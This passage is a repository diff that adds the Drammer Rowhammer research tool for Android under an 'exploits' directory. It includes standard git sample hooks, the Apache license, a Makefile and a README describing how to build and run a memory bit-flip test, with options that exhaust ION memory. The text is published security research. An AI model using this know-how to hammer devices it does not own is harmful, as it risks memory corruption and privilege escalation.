  42 + exit 1
  43 +}
  44 +
  45 +# Is topic fully merged to master?
  46 +not_in_master=`git rev-list --pretty=oneline ^master "$topic"`
  47 +if test -z "$not_in_master"
  48 +then
  49 + echo >&2 "$topic is fully merged to master; better remove it."
  50 + exit 1 ;# we could allow it, but there is no point.
  51 +fi
  52 +
  53 +# Is topic ever merged to next? If so you should not be rebasing it.
  54 +only_next_1=`git rev-list ^master "^$topic" ${publish} | sort`
  55 +only_next_2=`git rev-list ^master ${publish} | sort`
  56 +if test "$only_next_1" = "$only_next_2"
  57 +then
  58 + not_in_topic=`git rev-list "^$topic" master`
  59 + if test -z "$not_in_topic"
  60 + then
  61 + echo >&2 "$topic is already up-to-date with master"
  62 + exit 1 ;# we could allow it, but there is no point.
  63 + else
  64 + exit 0
  65 + fi
  66 +else
  67 + not_in_next=`git rev-list --pretty=oneline ^${publish} "$topic"`
  68 + /usr/bin/perl -e '
  69 + my $topic = $ARGV[0];
  70 + my $msg = "* $topic has commits already merged to public branch:\n";
  71 + my (%not_in_next) = map {
  72 + /^([0-9a-f]+) /;
  73 + ($1 => 1);
  74 + } split(/\n/, $ARGV[1]);
  75 + for my $elem (map {
  76 + /^([0-9a-f]+) (.*)$/;
  77 + [$1 => $2];
  78 + } split(/\n/, $ARGV[2])) {
  79 + if (!exists $not_in_next{$elem->[0]}) {
  80 + if ($msg) {
  81 + print STDERR $msg;
  82 + undef $msg;
  83 + }
  84 + print STDERR " $elem->[1]\n";
  85 + }
  86 + }
  87 + ' "$topic" "$not_in_next" "$not_in_master"
  88 + exit 1
  89 +fi
  90 +
  91 +<<\DOC_END
  92 +
  93 +This sample hook safeguards topic branches that have been
  94 +published from being rewound.
  95 +
  96 +The workflow assumed here is:
  97 +
  98 + * Once a topic branch forks from "master", "master" is never
  99 + merged into it again (either directly or indirectly).
  100 +
  101 + * Once a topic branch is fully cooked and merged into "master",
  102 + it is deleted. If you need to build on top of it to correct
  103 + earlier mistakes, a new topic branch is created by forking at
  104 + the tip of the "master". This is not strictly necessary, but
  105 + it makes it easier to keep your history simple.
  106 +
  107 + * Whenever you need to test or publish your changes to topic
  108 + branches, merge them into "next" branch.
  109 +
  110 +The script, being an example, hardcodes the publish branch name
  111 +to be "next", but it is trivial to make it configurable via
  112 +$GIT_DIR/config mechanism.
  113 +
  114 +With this workflow, you would want to know:
  115 +
  116 +(1) ... if a topic branch has ever been merged to "next". Young
  117 + topic branches can have stupid mistakes you would rather
  118 + clean up before publishing, and things that have not been
  119 + merged into other branches can be easily rebased without
  120 + affecting other people. But once it is published, you would
  121 + not want to rewind it.
  122 +
  123 +(2) ... if a topic branch has been fully merged to "master".
  124 + Then you can delete it. More importantly, you should not
  125 + build on top of it -- other people may already want to
  126 + change things related to the topic as patches against your
  127 + "master", so if you need further changes, it is better to
  128 + fork the topic (perhaps with the same name) afresh from the
  129 + tip of "master".
  130 +
  131 +Let's look at this example:
  132 +
  133 + o---o---o---o---o---o---o---o---o---o "next"
  134 + / / / /
  135 + / a---a---b A / /
  136 + / / / /
  137 + / / c---c---c---c B /
  138 + / / / \ /
  139 + / / / b---b C \ /
  140 + / / / / \ /
  141 + ---o---o---o---o---o---o---o---o---o---o---o "master"
  142 +
  143 +
  144 +A, B and C are topic branches.
  145 +
  146 + * A has one fix since it was merged up to "next".
  147 +
  148 + * B has finished. It has been fully merged up to "master" and "next",
  149 + and is ready to be deleted.
  150 +
  151 + * C has not merged to "next" at all.
  152 +
  153 +We would want to allow C to be rebased, refuse A, and encourage
  154 +B to be deleted.
  155 +
  156 +To compute (1):
  157 +
  158 + git rev-list ^master ^topic next
  159 + git rev-list ^master next
  160 +
  161 + if these match, topic has not merged in next at all.
  162 +
  163 +To compute (2):
  164 +
  165 + git rev-list master..topic
  166 +
  167 + if this is empty, it is fully merged to "master".
  168 +
  169 +DOC_END
... ...
exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/prepare-commit-msg.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to prepare the commit log message.
  4 +# Called by "git commit" with the name of the file that has the
  5 +# commit message, followed by the description of the commit
  6 +# message's source. The hook's purpose is to edit the commit
  7 +# message file. If the hook fails with a non-zero status,
  8 +# the commit is aborted.
  9 +#
  10 +# To enable this hook, rename this file to "prepare-commit-msg".
  11 +
  12 +# This hook includes three examples. The first comments out the
  13 +# "Conflicts:" part of a merge commit.
  14 +#
  15 +# The second includes the output of "git diff --name-status -r"
  16 +# into the message, just before the "git status" output. It is
  17 +# commented because it doesn't cope with --amend or with squashed
  18 +# commits.
  19 +#
  20 +# The third example adds a Signed-off-by line to the message, that can
  21 +# still be edited. This is rarely a good idea.
  22 +
  23 +case "$2,$3" in
  24 + merge,)
  25 + /usr/bin/perl -i.bak -ne 's/^/# /, s/^# #/#/ if /^Conflicts/ .. /#/; print' "$1" ;;
  26 +
  27 +# ,|template,)
  28 +# /usr/bin/perl -i.bak -pe '
  29 +# print "\n" . `git diff --cached --name-status -r`
  30 +# if /^#/ && $first++ == 0' "$1" ;;
  31 +
  32 + *) ;;
  33 +esac
  34 +
  35 +# SOB=$(git var GIT_AUTHOR_IDENT | sed -n 's/^\(.*>\).*$/Signed-off-by: \1/p')
  36 +# grep -qs "^$SOB" "$1" || echo "$SOB" >> "$1"
... ...
exploits/drammer/.git-disabled/hooks/update.sample 0 → 100755
  1 +++ a/exploits/drammer/.git-disabled/hooks/update.sample
  1 +#!/bin/sh
  2 +#
  3 +# An example hook script to block unannotated tags from entering.
  4 +# Called by "git receive-pack" with arguments: refname sha1-old sha1-new
  5 +#
  6 +# To enable this hook, rename this file to "update".
  7 +#
  8 +# Config
  9 +# ------
  10 +# hooks.allowunannotated
  11 +# This boolean sets whether unannotated tags will be allowed into the
  12 +# repository. By default they won't be.
  13 +# hooks.allowdeletetag
  14 +# This boolean sets whether deleting tags will be allowed in the
  15 +# repository. By default they won't be.
  16 +# hooks.allowmodifytag
  17 +# This boolean sets whether a tag may be modified after creation. By default
  18 +# it won't be.
  19 +# hooks.allowdeletebranch
  20 +# This boolean sets whether deleting branches will be allowed in the
  21 +# repository. By default they won't be.
  22 +# hooks.denycreatebranch
  23 +# This boolean sets whether remotely creating branches will be denied
  24 +# in the repository. By default this is allowed.
  25 +#
  26 +
  27 +# --- Command line
  28 +refname="$1"
  29 +oldrev="$2"
  30 +newrev="$3"
  31 +
  32 +# --- Safety check
  33 +if [ -z "$GIT_DIR" ]; then
  34 + echo "Don't run this script from the command line." >&2
  35 + echo " (if you want, you could supply GIT_DIR then run" >&2
  36 + echo " $0 <ref> <oldrev> <newrev>)" >&2
  37 + exit 1
  38 +fi
  39 +
  40 +if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then
  41 + echo "usage: $0 <ref> <oldrev> <newrev>" >&2
  42 + exit 1
  43 +fi
  44 +
  45 +# --- Config
  46 +allowunannotated=$(git config --bool hooks.allowunannotated)
  47 +allowdeletebranch=$(git config --bool hooks.allowdeletebranch)
  48 +denycreatebranch=$(git config --bool hooks.denycreatebranch)
  49 +allowdeletetag=$(git config --bool hooks.allowdeletetag)
  50 +allowmodifytag=$(git config --bool hooks.allowmodifytag)
  51 +
  52 +# check for no description
  53 +projectdesc=$(sed -e '1q' "$GIT_DIR/description")
  54 +case "$projectdesc" in
  55 +"Unnamed repository"* | "")
  56 + echo "*** Project description file hasn't been set" >&2
  57 + exit 1
  58 + ;;
  59 +esac
  60 +
  61 +# --- Check types
  62 +# if $newrev is 0000...0000, it's a commit to delete a ref.
  63 +zero="0000000000000000000000000000000000000000"
  64 +if [ "$newrev" = "$zero" ]; then
  65 + newrev_type=delete
  66 +else
  67 + newrev_type=$(git cat-file -t $newrev)
  68 +fi
  69 +
  70 +case "$refname","$newrev_type" in
  71 + refs/tags/*,commit)
  72 + # un-annotated tag
  73 + short_refname=${refname##refs/tags/}
  74 + if [ "$allowunannotated" != "true" ]; then
  75 + echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2
  76 + echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2
  77 + exit 1
  78 + fi
  79 + ;;
  80 + refs/tags/*,delete)
  81 + # delete tag
  82 + if [ "$allowdeletetag" != "true" ]; then
  83 + echo "*** Deleting a tag is not allowed in this repository" >&2
  84 + exit 1
  85 + fi
  86 + ;;
  87 + refs/tags/*,tag)
  88 + # annotated tag
  89 + if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1
  90 + then
  91 + echo "*** Tag '$refname' already exists." >&2
  92 + echo "*** Modifying a tag is not allowed in this repository." >&2
  93 + exit 1
  94 + fi
  95 + ;;
  96 + refs/heads/*,commit)
  97 + # branch
  98 + if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then
  99 + echo "*** Creating a branch is not allowed in this repository" >&2
  100 + exit 1
  101 + fi
  102 + ;;
  103 + refs/heads/*,delete)
  104 + # delete branch
  105 + if [ "$allowdeletebranch" != "true" ]; then
  106 + echo "*** Deleting a branch is not allowed in this repository" >&2
  107 + exit 1
  108 + fi
  109 + ;;
  110 + refs/remotes/*,commit)
  111 + # tracking branch
  112 + ;;
  113 + refs/remotes/*,delete)
  114 + # delete tracking branch
  115 + if [ "$allowdeletebranch" != "true" ]; then
  116 + echo "*** Deleting a tracking branch is not allowed in this repository" >&2
  117 + exit 1
  118 + fi
  119 + ;;
  120 + *)
  121 + # Anything else (is there anything else?)
  122 + echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2
  123 + exit 1
  124 + ;;
  125 +esac
  126 +
  127 +# --- Finished
  128 +exit 0
... ...
exploits/drammer/.git-disabled/index 0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/info/exclude 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/info/exclude
  1 +# git ls-files --others --exclude-from=.git/info/exclude
  2 +# Lines that start with '#' are comments.
  3 +# For a project mostly in C, the following would be a good set of
  4 +# exclude patterns (uncomment them if you want to use them):
  5 +# *.[oa]
  6 +# *~
... ...
exploits/drammer/.git-disabled/logs/HEAD 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/logs/HEAD
  1 +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495477918 +0200 clone: from https://github.com/vusec/drammer
... ...
exploits/drammer/.git-disabled/logs/refs/heads/master 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/logs/refs/heads/master
  1 +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495477918 +0200 clone: from https://github.com/vusec/drammer
... ...
exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/logs/refs/remotes/origin/HEAD
  1 +0000000000000000000000000000000000000000 4c5ef24f03eff0280c38c911ce2e94f16d026961 Imanol-Mikel Barba Sabariego <imanol@imanolbarba.net> 1495477918 +0200 clone: from https://github.com/vusec/drammer
... ...
exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.idx 0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/objects/pack/pack-b2474f6460709f7ba0c1974e8f2314e867abdb5b.pack 0 → 100644
No preview for this file type
exploits/drammer/.git-disabled/packed-refs 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/packed-refs
  1 +# pack-refs with: peeled fully-peeled
  2 +d17e333b076830f404e203a2b45aad3b172043f1 refs/remotes/origin/geometry
  3 +4c5ef24f03eff0280c38c911ce2e94f16d026961 refs/remotes/origin/master
... ...
exploits/drammer/.git-disabled/refs/heads/master 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/refs/heads/master
  1 +4c5ef24f03eff0280c38c911ce2e94f16d026961
... ...
exploits/drammer/.git-disabled/refs/remotes/origin/HEAD 0 → 100644
  1 +++ a/exploits/drammer/.git-disabled/refs/remotes/origin/HEAD
  1 +ref: refs/remotes/origin/master
... ...
exploits/drammer/.gitignore 0 → 100644
  1 +++ a/exploits/drammer/.gitignore
  1 +*.o
  2 +rh-test
... ...
exploits/drammer/LICENSE-2.0.txt 0 → 100644
  1 +++ a/exploits/drammer/LICENSE-2.0.txt
  1 +
  2 + Apache License
  3 + Version 2.0, January 2004
  4 + http://www.apache.org/licenses/
  5 +
  6 + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
  7 +
  8 + 1. Definitions.
  9 +
  10 + "License" shall mean the terms and conditions for use, reproduction,
  11 + and distribution as defined by Sections 1 through 9 of this document.
  12 +
  13 + "Licensor" shall mean the copyright owner or entity authorized by
  14 + the copyright owner that is granting the License.
  15 +
  16 + "Legal Entity" shall mean the union of the acting entity and all
  17 + other entities that control, are controlled by, or are under common
  18 + control with that entity. For the purposes of this definition,
  19 + "control" means (i) the power, direct or indirect, to cause the
  20 + direction or management of such entity, whether by contract or
  21 + otherwise, or (ii) ownership of fifty percent (50%) or more of the
  22 + outstanding shares, or (iii) beneficial ownership of such entity.
  23 +
  24 + "You" (or "Your") shall mean an individual or Legal Entity
  25 + exercising permissions granted by this License.
  26 +
  27 + "Source" form shall mean the preferred form for making modifications,
  28 + including but not limited to software source code, documentation
  29 + source, and configuration files.
  30 +
  31 + "Object" form shall mean any form resulting from mechanical
  32 + transformation or translation of a Source form, including but
  33 + not limited to compiled object code, generated documentation,
  34 + and conversions to other media types.
  35 +
  36 + "Work" shall mean the work of authorship, whether in Source or
  37 + Object form, made available under the License, as indicated by a
  38 + copyright notice that is included in or attached to the work
  39 + (an example is provided in the Appendix below).
  40 +
  41 + "Derivative Works" shall mean any work, whether in Source or Object
  42 + form, that is based on (or derived from) the Work and for which the
  43 + editorial revisions, annotations, elaborations, or other modifications
  44 + represent, as a whole, an original work of authorship. For the purposes
  45 + of this License, Derivative Works shall not include works that remain
  46 + separable from, or merely link (or bind by name) to the interfaces of,
  47 + the Work and Derivative Works thereof.
  48 +
  49 + "Contribution" shall mean any work of authorship, including
  50 + the original version of the Work and any modifications or additions
  51 + to that Work or Derivative Works thereof, that is intentionally
  52 + submitted to Licensor for inclusion in the Work by the copyright owner
  53 + or by an individual or Legal Entity authorized to submit on behalf of
  54 + the copyright owner. For the purposes of this definition, "submitted"
  55 + means any form of electronic, verbal, or written communication sent
  56 + to the Licensor or its representatives, including but not limited to
  57 + communication on electronic mailing lists, source code control systems,
  58 + and issue tracking systems that are managed by, or on behalf of, the
  59 + Licensor for the purpose of discussing and improving the Work, but
  60 + excluding communication that is conspicuously marked or otherwise
  61 + designated in writing by the copyright owner as "Not a Contribution."
  62 +
  63 + "Contributor" shall mean Licensor and any individual or Legal Entity
  64 + on behalf of whom a Contribution has been received by Licensor and
  65 + subsequently incorporated within the Work.
  66 +
  67 + 2. Grant of Copyright License. Subject to the terms and conditions of
  68 + this License, each Contributor hereby grants to You a perpetual,
  69 + worldwide, non-exclusive, no-charge, royalty-free, irrevocable
  70 + copyright license to reproduce, prepare Derivative Works of,
  71 + publicly display, publicly perform, sublicense, and distribute the
  72 + Work and such Derivative Works in Source or Object form.
  73 +
  74 + 3. Grant of Patent License. Subject to the terms and conditions of
  75 + this License, each Contributor hereby grants to You a perpetual,
  76 + worldwide, non-exclusive, no-charge, royalty-free, irrevocable
  77 + (except as stated in this section) patent license to make, have made,
  78 + use, offer to sell, sell, import, and otherwise transfer the Work,
  79 + where such license applies only to those patent claims licensable
  80 + by such Contributor that are necessarily infringed by their
  81 + Contribution(s) alone or by combination of their Contribution(s)
  82 + with the Work to which such Contribution(s) was submitted. If You
  83 + institute patent litigation against any entity (including a
  84 + cross-claim or counterclaim in a lawsuit) alleging that the Work
  85 + or a Contribution incorporated within the Work constitutes direct
  86 + or contributory patent infringement, then any patent licenses
  87 + granted to You under this License for that Work shall terminate
  88 + as of the date such litigation is filed.
  89 +
  90 + 4. Redistribution. You may reproduce and distribute copies of the
  91 + Work or Derivative Works thereof in any medium, with or without
  92 + modifications, and in Source or Object form, provided that You
  93 + meet the following conditions:
  94 +
  95 + (a) You must give any other recipients of the Work or
  96 + Derivative Works a copy of this License; and
  97 +
  98 + (b) You must cause any modified files to carry prominent notices
  99 + stating that You changed the files; and
  100 +
  101 + (c) You must retain, in the Source form of any Derivative Works
  102 + that You distribute, all copyright, patent, trademark, and
  103 + attribution notices from the Source form of the Work,
  104 + excluding those notices that do not pertain to any part of
  105 + the Derivative Works; and
  106 +
  107 + (d) If the Work includes a "NOTICE" text file as part of its
  108 + distribution, then any Derivative Works that You distribute must
  109 + include a readable copy of the attribution notices contained
  110 + within such NOTICE file, excluding those notices that do not
  111 + pertain to any part of the Derivative Works, in at least one
  112 + of the following places: within a NOTICE text file distributed
  113 + as part of the Derivative Works; within the Source form or
  114 + documentation, if provided along with the Derivative Works; or,
  115 + within a display generated by the Derivative Works, if and
  116 + wherever such third-party notices normally appear. The contents
  117 + of the NOTICE file are for informational purposes only and
  118 + do not modify the License. You may add Your own attribution
  119 + notices within Derivative Works that You distribute, alongside
  120 + or as an addendum to the NOTICE text from the Work, provided
  121 + that such additional attribution notices cannot be construed
  122 + as modifying the License.
  123 +
  124 + You may add Your own copyright statement to Your modifications and
  125 + may provide additional or different license terms and conditions
  126 + for use, reproduction, or distribution of Your modifications, or
  127 + for any such Derivative Works as a whole, provided Your use,
  128 + reproduction, and distribution of the Work otherwise complies with
  129 + the conditions stated in this License.
  130 +
  131 + 5. Submission of Contributions. Unless You explicitly state otherwise,
  132 + any Contribution intentionally submitted for inclusion in the Work
  133 + by You to the Licensor shall be under the terms and conditions of
  134 + this License, without any additional terms or conditions.
  135 + Notwithstanding the above, nothing herein shall supersede or modify
  136 + the terms of any separate license agreement you may have executed
  137 + with Licensor regarding such Contributions.
  138 +
  139 + 6. Trademarks. This License does not grant permission to use the trade
  140 + names, trademarks, service marks, or product names of the Licensor,
  141 + except as required for reasonable and customary use in describing the
  142 + origin of the Work and reproducing the content of the NOTICE file.
  143 +
  144 + 7. Disclaimer of Warranty. Unless required by applicable law or
  145 + agreed to in writing, Licensor provides the Work (and each
  146 + Contributor provides its Contributions) on an "AS IS" BASIS,
  147 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
  148 + implied, including, without limitation, any warranties or conditions
  149 + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
  150 + PARTICULAR PURPOSE. You are solely responsible for determining the
  151 + appropriateness of using or redistributing the Work and assume any
  152 + risks associated with Your exercise of permissions under this License.
  153 +
  154 + 8. Limitation of Liability. In no event and under no legal theory,
  155 + whether in tort (including negligence), contract, or otherwise,
  156 + unless required by applicable law (such as deliberate and grossly
  157 + negligent acts) or agreed to in writing, shall any Contributor be
  158 + liable to You for damages, including any direct, indirect, special,
  159 + incidental, or consequential damages of any character arising as a
  160 + result of this License or out of the use or inability to use the
  161 + Work (including but not limited to damages for loss of goodwill,
  162 + work stoppage, computer failure or malfunction, or any and all
  163 + other commercial damages or losses), even if such Contributor
  164 + has been advised of the possibility of such damages.
  165 +
  166 + 9. Accepting Warranty or Additional Liability. While redistributing
  167 + the Work or Derivative Works thereof, You may choose to offer,
  168 + and charge a fee for, acceptance of support, warranty, indemnity,
  169 + or other liability obligations and/or rights consistent with this
  170 + License. However, in accepting such obligations, You may act only
  171 + on Your own behalf and on Your sole responsibility, not on behalf
  172 + of any other Contributor, and only if You agree to indemnify,
  173 + defend, and hold each Contributor harmless for any liability
  174 + incurred by, or claims asserted against, such Contributor by reason
  175 + of your accepting any such warranty or additional liability.
  176 +
  177 + END OF TERMS AND CONDITIONS
  178 +
  179 + APPENDIX: How to apply the Apache License to your work.
  180 +
  181 + To apply the Apache License to your work, attach the following
  182 + boilerplate notice, with the fields enclosed by brackets "[]"
  183 + replaced with your own identifying information. (Don't include
  184 + the brackets!) The text should be enclosed in the appropriate
  185 + comment syntax for the file format. We also recommend that a
  186 + file or class name and description of purpose be included on the
  187 + same "printed page" as the copyright notice for easier
  188 + identification within third-party archives.
  189 +
  190 + Copyright [yyyy] [name of copyright owner]
  191 +
  192 + Licensed under the Apache License, Version 2.0 (the "License");
  193 + you may not use this file except in compliance with the License.
  194 + You may obtain a copy of the License at
  195 +
  196 + http://www.apache.org/licenses/LICENSE-2.0
  197 +
  198 + Unless required by applicable law or agreed to in writing, software
  199 + distributed under the License is distributed on an "AS IS" BASIS,
  200 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  201 + See the License for the specific language governing permissions and
  202 + limitations under the License.
... ...
exploits/drammer/Makefile 0 → 100644
  1 +++ a/exploits/drammer/Makefile
  1 +##
  2 + # Copyright 2016, Victor van der Veen
  3 + #
  4 + # Licensed under the Apache License, Version 2.0 (the "License");
  5 + # you may not use this file except in compliance with the License.
  6 + # You may obtain a copy of the License at
  7 + #
  8 + # http://www.apache.org/licenses/LICENSE-2.0
  9 + #
  10 + # Unless required by applicable law or agreed to in writing, software
  11 + # distributed under the License is distributed on an "AS IS" BASIS,
  12 + # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + # See the License for the specific language governing permissions and
  14 + # limitations under the License.
  15 + ##
  16 +
  17 +STANDALONE_TOOLCHAIN ?= /home/imanol/devel/android-ndk/toolchains/default-arm-toolchain/prebuilt/linux-x86_64/bin
  18 +#$(HOME)/src/android-ndk-r11c/sysroot-arm/bin
  19 +
  20 +CC = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-gcc
  21 +CXX = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++
  22 +CPP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++
  23 +STRIP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-strip
  24 +
  25 +CPPFLAGS = -std=c++11 -O3 -Wall
  26 +LDFLAGS = -pthread -static
  27 +INCLUDES = -I$(PWD)/../include
  28 +
  29 +TMPDIR = /data/local/tmp/
  30 +TARGET ?= rh-test
  31 +
  32 +all: $(TARGET)
  33 +
  34 +rh-test: rh-test.o ion.o rowsize.o templating.o massage.o
  35 + $(CPP) $(CPPFLAGS) -o $@ $^ $(LDFLAGS)
  36 + $(STRIP) $@
  37 +
  38 +%.o: %.cc
  39 + $(CPP) $(CPPFLAGS) $(INCLUDES) -c -o $@ $<
  40 +
  41 +install:
  42 + make all
  43 + adb push $(TARGET) $(TMPDIR)
  44 + adb shell chmod 755 $(TMPDIR)$(TARGET)
  45 +
  46 +clean:
  47 + rm -f $(TARGET) *.o a.out
  48 +
  49 +upload:
  50 + scp rh-test vvdveen.com:/home/vvdveen/www/drammer/rh-test
  51 +
  52 +
  53 +reboot:
  54 + adb reboot
  55 +
  56 +test:
  57 + adb shell "$(TMPDIR)$(TARGET) -f/data/local/tmp/out.txt"
... ...
exploits/drammer/README.md 0 → 100644
  1 +++ a/exploits/drammer/README.md
  1 +# Drammer
  2 +This software is the open-source component of our paper "Drammer: Deterministic
  3 +Rowhammer Attacks on Mobile Devices", published in ACM Computer and
  4 +Communications Security (CCS) 2016. It allows you to test whether an Android
  5 +device is vulnerable to the Rowhammer bug. It does **not** allow you to root
  6 +your device.
  7 +
  8 +This code base contains our *native*, C/C++-based mobile Rowhammer
  9 +test implementation.
  10 +
  11 +# Disclaimer
  12 +If, for some weird reason, you think running this code broke your device, you
  13 +get to keep both pieces.
  14 +
  15 +# Android GUI app
  16 +If you don't want to build the test yourself, we also provide an
  17 +[Android app](https://vvdveen.com/drammer/drammer.apk) as a GUI for the native
  18 +component that may or may not be currently available on the
  19 +[Google Play Store](https://play.google.com/store/apps/details?id=org.iseclab.drammer)
  20 +depending on the store's policy.
  21 +
  22 +The app supports *relaxed* and *aggressive* hammering, which corresponds to the
  23 +number of seconds to run 'defrag' (-d command line option described below): you
  24 +can choose a timeout between 0 (no defrag) and 60 seconds, although higher
  25 +timeouts likely cause the app to become unresponsive.
  26 +
  27 +The app optionally collects basic statistics on the type of device and test
  28 +results so that we can gain insights into the number and type of vulnerable
  29 +devices in the wild, so please consider sharing them for science.
  30 +
  31 +# Native installation
  32 +To build the native binary, you need an Android NDK toolchain. I used
  33 +android-ndk-r11c:
  34 +
  35 + wget https://dl.google.com/android/repository/android-ndk-r11c-linux-x86_64.zip
  36 + unzip android-ndk-r11c-linux-x86_64.zip
  37 + cd android-ndk-r11c
  38 + ./build/tools/make-standalone-toolchain.sh --ndk-dir=`pwd` \
  39 + --arch=arm --platform=android-24 \
  40 + --install-dir=./sysroot-arm/ \
  41 + --verbose
  42 +
  43 +You can then build the program setting `STANDALONE_TOOLCHAIN` variable to point
  44 +to the toolchain:
  45 +
  46 + STANDALONE_TOOLCHAIN=path/to/android-ndk-r11c/sysroot-arm/bin make
  47 +
  48 +This gives you a stripped ARMv7 binary that you can run on both ARMv7 (32-bit)
  49 +and ARMv8 (64-bit) devices. The Makefile provides an install feature that uses
  50 +the Android Debug Bridge (adb) to push the binary to your device's
  51 +/data/local/tmp/ directory. You can install adb by doing a `sudo apt-get install
  52 +android-tools-adb` (on Ubuntu) or by installing the Android SDK via
  53 +[android.com](https://developer.android.com/studio/index.html#downloads). Then
  54 +do a:
  55 +
  56 + make install
  57 + make test
  58 +
  59 +to install and start the Rowhammer test binary. Once installed, you may also
  60 +invoke it from the shell directly:
  61 +
  62 + adb shell
  63 + cd /data/local/tmp
  64 + ./rh-test
  65 +
  66 +## Command line options
  67 +The native binary provides a number of command line options:
  68 +
  69 +* *-a*
  70 + Do templating with all patterns. Without this option, only the patterns *010*
  71 + and *101* are used, meaning that we hammer each row twice: once with it's
  72 + aggressor rows containing all zeros while the victim row holds only ones, and
  73 + once with the aggressor rows holding ones while the victim consists of zeros
  74 + only. Enabling this option hammers each row with the following configurations:
  75 + *000*, *001*, *010*, *011*, *100*, *101*, *110*, *111*, *00r*, *0r0*, *0rr*,
  76 + *r00*, *r0r*, *rr0*, *rrr* (where *r* is random and changed every 100
  77 + iterations).
  78 +
  79 +- *-c <number>*
  80 + Number of memory accesses per hammer round, defaults to 1000000. It is
  81 + said that 2500000 yields the most flips.
  82 +
  83 +- *-d <seconds>*
  84 + Number of seconds to run 'defrag' (disabled by default). This tricks the
  85 + system into freeing more ION memory that can be used for templating. Since
  86 + Android tries to keep as many background processes in memory as possible, the
  87 + amount of memory available for ION allocations may be very small (all of the
  88 + memory is either in use, or cached in the operating system). By allocating
  89 + many ION chunks, this option forces Android's low memory killer to kill
  90 + background processes, giving us more (contiguous) memory to hammer in the
  91 + templating phase.
  92 + Use this option with caution: setting it too high likely hangs your device and
  93 + trigger a reboot. My advice is to first try without *-d* (or with *-d0*), see
  94 + how much memory you get, if not enough, hit `CTRL^C`, and restart with *-d3*.
  95 + If this still does not give you enough memory, I usually repeat the sequence
  96 + of breaking with `CTRL^C` and restarting with *-d3* again in favor of using a
  97 + higher timeout value. To answer the question of "how much is enough": on a
  98 + Nexus 5, that comes with 2GB of memory, you should be able to get 400 to 600
  99 + MB of ION memory.
  100 +
  101 +- *-f <file path>*
  102 + Write results not only to stdout but also to this file.
  103 +
  104 +- *-h*
  105 + Dump the help screen.
  106 +
  107 +- *-i*
  108 + Run an ION heap-type detector function.
  109 +
  110 +- *-q <cpu>*
  111 + Pin the program to this CPU. Some big.LITTLE architectures require you to pin
  112 + the program to a big core, to make sure memory accesses are as fast as
  113 + possible.
  114 +
  115 +- *-r <bytes>*
  116 + The rowsize in bytes. If this value is not provided, the program tries to find
  117 + it using a timing side-channel (described in the paper) which may not always
  118 + work. The most common value seems to be 65536 (64KB).
  119 +
  120 +- *-s*
  121 + Hammer more conservatively. By default, we hammer each page, but this option
  122 + moves less bytes (currently set to 64 bytes).
  123 +
  124 +- *-t <seconds>*
  125 + Stop hammering after this many seconds. The default behavior is to hammer all
  126 + memory that we were able to allocate.
  127 +
  128 +## Description of source files
  129 +The native code base is written in C and abuses some C++ functionality. There
  130 +are some comments in the source files that, combined with run-time output dumped
  131 +on stdout, should give you an indication of what is happening. The main output
  132 +of a run consists of numbers that indicate the average DRAM access time (in
  133 +nanoseconds).
  134 +
  135 +What follows is a short description of all source files.
  136 +
  137 +- *Makefile*
  138 + Build system.
  139 +
  140 +- *helper.h*
  141 + Inline helper functions defined in a header file.
  142 +
  143 +- *ion.cc* and *ion.h*
  144 + Implements all ION related functionality: allocate, share, and free. By using
  145 + a custom *ION data* data structure defined in ion.h, we also provide some
  146 + functions on top of these core ION ionctls: bulk (bulk allocations), mmap,
  147 + clean, and clean_all. It is required to call ION_init() before performing any
  148 + ION related operations, as this function takes care of opening the /dev/ion
  149 + file and reads /proc/cpuinfo to determine which ION heap to use. Note that
  150 + the latter functionality is likely incomplete.
  151 +
  152 +- *massage.cc* and *massage.h*
  153 + Implements exhaust (used for exhausting ION chunks: allocate until nothing is
  154 + left) and defrag functions.
  155 +
  156 +- *rh-test.cc*
  157 + Implements main() and is in charge of parsing the command line options and
  158 + starting a template session.
  159 +
  160 +- *rowsize.cc* and *rowsize.h*
  161 + Implements the auto detect function for finding the rowsize (described in more
  162 + detail in the paper, Sections 5.1 and 8.1, and Figure 3)
  163 +
  164 +- *templating.cc* and *templating.h*
  165 + Implements the actual Rowhammer test and builds template_t data structures
  166 + (defined in templating.h, which might include some redundant fields). The
  167 + is_exploitable() function checks whether a given template is in fact
  168 + exploitable with Drammer. The main function is TMPL_run which loops over all
  169 + hammerable ION chunks.
... ...
exploits/drammer/helper.h 0 → 100644
  1 +++ a/exploits/drammer/helper.h
  1 +/*
  2 + * Copyright 2016, Victor van der Veen
  3 + *
